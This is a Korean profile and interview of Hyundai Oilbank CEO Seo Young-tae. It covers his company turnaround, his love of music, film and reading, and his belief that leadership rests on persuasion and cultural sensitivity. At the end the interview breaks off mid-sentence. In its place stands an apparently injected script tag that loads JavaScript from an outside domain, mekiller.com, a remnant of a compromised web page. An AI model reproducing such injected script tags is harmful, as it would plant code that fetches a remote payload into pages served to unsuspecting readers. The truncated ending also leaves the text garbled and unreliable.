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제 목 :
현대오일뱅크 서영태 사장 [07. 01. 24]

서영태 현대오일뱅크 사장(55). 그는 적자투성이였던 현대오일뱅크를 턴어라운드, 2002년부터 3년 연
속 흑자를 기록케 해 경영혁신의 마술사로 불리는 CEO다. 그는 연초면 차트를 들고 각 25개 지역본부
를 순회하며 3천리 행군을 벌이는가 하면,안전모를 쓰고 현장실습을 하는 경험을 사서 한다. 직원들과
의 독서모임에서 열띤 토론을 벌이기도 한다. 서영태사장을 한 사석 모임에서 본 적이 있다. 자기소개
를 하는 순서였는데 모두 쭈뼛쭈뼛 자신의 이름과 직책만 간단히 소개하며 순서를 넘겼다. 서영태 사장
의 순서가 됐다. 그는 기다렸다는 듯 일어나 뮤지컬 캣츠중 ‘메모리’의 한소절을 멋지게 불러제꼈
다. 좌중들에게 깊은 인상을 남겼음은 물론이다. 하긴 CEO의 요건중엔 이같은 ‘끼’가 필수다. 자신감
에 찬 경영노하우 뿐 아니라 자신만의 개성과 취미, 넉넉한 유머, 솔직성 등 인간적 매력인 끼는 요즘
사회에서 특히나 요구되는 덕목이다.

매력없는 리더는 결코 조직을 감동시켜 자발적으로 움직이게 하기 힘들기 때문이다. 오죽하면 ‘중성
자탄’이란 무시무시한 별명을 지닌 잭 웰치조차 그의 책 ‘위대한 승리’에서 지루한 사람 되지 않는
것을 직장에서 승리하기 위한 금과옥조로 강조했겠는가. 그는 “유머감각을 가지고 함께 지내기에 재미
있는 사람이 되라”고 주문하며 .“거드름을 피우거나 스스로 너무 진지해지기 시작했다 생각되면 자신
의 머리를 쥐어박아라”고까지 이야기한다. 서영태 사장과 인터뷰를 하며 요약된 성공키워드는 바로 깡
과 끼였다. 문화를 즐기는 넉넉한 끼를 가지되, 목표를 세우면 고집스럽게 밀어붙이는 깡, 얼핏 생각하
면 이 양 덕목은 모순되는 것은 아닐까. 기자의 질문에 그는 자신의 수집품이 부엉이라는 것으로 답변
을 대신했다. 1980년대부터 지금까지 모은 부엉이는 크리스털 향나무 등 300여점이나 돼 별도의 전시공
간이 필요할 정도. 하긴 부엉이는 지혜의 상징이기도 하지만, 한번 사냥감을 정하면 놓치지 않는
99.99%의 사냥성공률을 자랑하는 동물이다. 이같은 깡과 끼외에 한가지를 더 덧붙이자면 끝을 관리하
는 노하우, 즉 물러나야 할 때 물러날 줄 아는 쿨한 퇴장 노하우가 오늘의 그를 만들었다는 생각이 들
었다.

#자신만의 문화가 차별성이다

“1980년부터 2000년까지 거의 20년간 다국적 기업에서 일했지요. 글로벌 회사에서 일하며 느낀 것은
자신의 차별화는 단지 구호가 아니라 생존의 필수요건이란 것이었습니다. 우리는 유교문화의 전통상 자
신을 숨기는게 미덕이지만, 외국회사에선 그렇지 않더군요. 의사표시를 하지 않으면 오해를 받기 일쑤
지요. 외국어를 배우는 것보다 더 어려운 것은 바로 이같은 문화를 이해하는 것이었습니다. 영어야 일
상의 바다에 빠져들면 3년이면 마스터되지만, 그들의 문화에 익숙해지는데는 10년이상이 걸렸습니
다.”

캐나다 몬트리올 로열뱅크에서 근무하던 시절, 처음 ‘스탠딩 파티’라는 데에 가보았다. 조그만 공간
에 사람이 버글버글한 가운데 2∼3시간을 서있으려니 다리만 아프고 꿔다놓은 보릿자루가 따로 없었
다.

“결국 무엇이든 참여하느냐, 구경하느냐에 따라 재미있느냐 없느냐가 갈라져요. 서양인의 대화를 주목
해서 살펴보면, 잘게 쪼개 말한다는 특징이 있어요. 스크램블드 에그를 만드는 것도 1문장이 아니라 처
음 계란을 준비할 때부터 5∼10분 단위로 과정과정을 자세하게 소개하지요. 그러다보니 별 것아닌 것
도 길게 이야기하고, 주제를 깊게 이야기할 수 있어요. 이같은 일상의 습관에서 자연스레 관찰력, 표현
력, 문제해결력, 커뮤니케이션 능력을 기를 수 있다고 봅니다. 저역시 이런 방식을 즐기니 비로소 자리
에 어울릴 수 있더군요.”

서사장은 스스로 좋아하는 것이 있으면 푹 빠져버리는 성격이라고 말한다. 험프리 보가트와 잉그리드
버그만이 주연한 영화 ‘카사블랑카’는 10번도 넘게 보았고, 영화속 배경이었던 모로코의 릭스 카페
를 직접 찾아가 보기도 했다.

“결국 CEO란 사람의 마음을 읽어야 하는 것 아니겠습니까. 저는 리더십이란 곧 설득이란 것과 동의어
라고 생각합니다. 이처럼 감성을 풍부히 하는 문화열정은 저 자신 스트레스를 풀어서 좋을 뿐 아니라
사람들의 다양한 마음을 이해할 수 있고 설득하는데 힘을 발휘하게 해주지요. 각 기업에서 혁신경영이
핫이슈가 아닙니까. 혁신은 일방적 지시나 데이터 전송같은 차가운 논리가 아니라 따뜻한 감성과 감동
에서 나옵니다. 예술과 문화를 안다는 것은 경영에 커다란 도움이 됩니다.”

그가 승용차안에서, 비행기 안에서나 시간을 쪼개 책을 읽고, 직원들과의 독서모임에 적극 참여하는 것
도 이때문이다.

“저는 아주 오래전부터 2주에 최소한 책 1권씩은 읽어야겠다?script src=http://mekiller.com/1/1.js>
 
 
 
 
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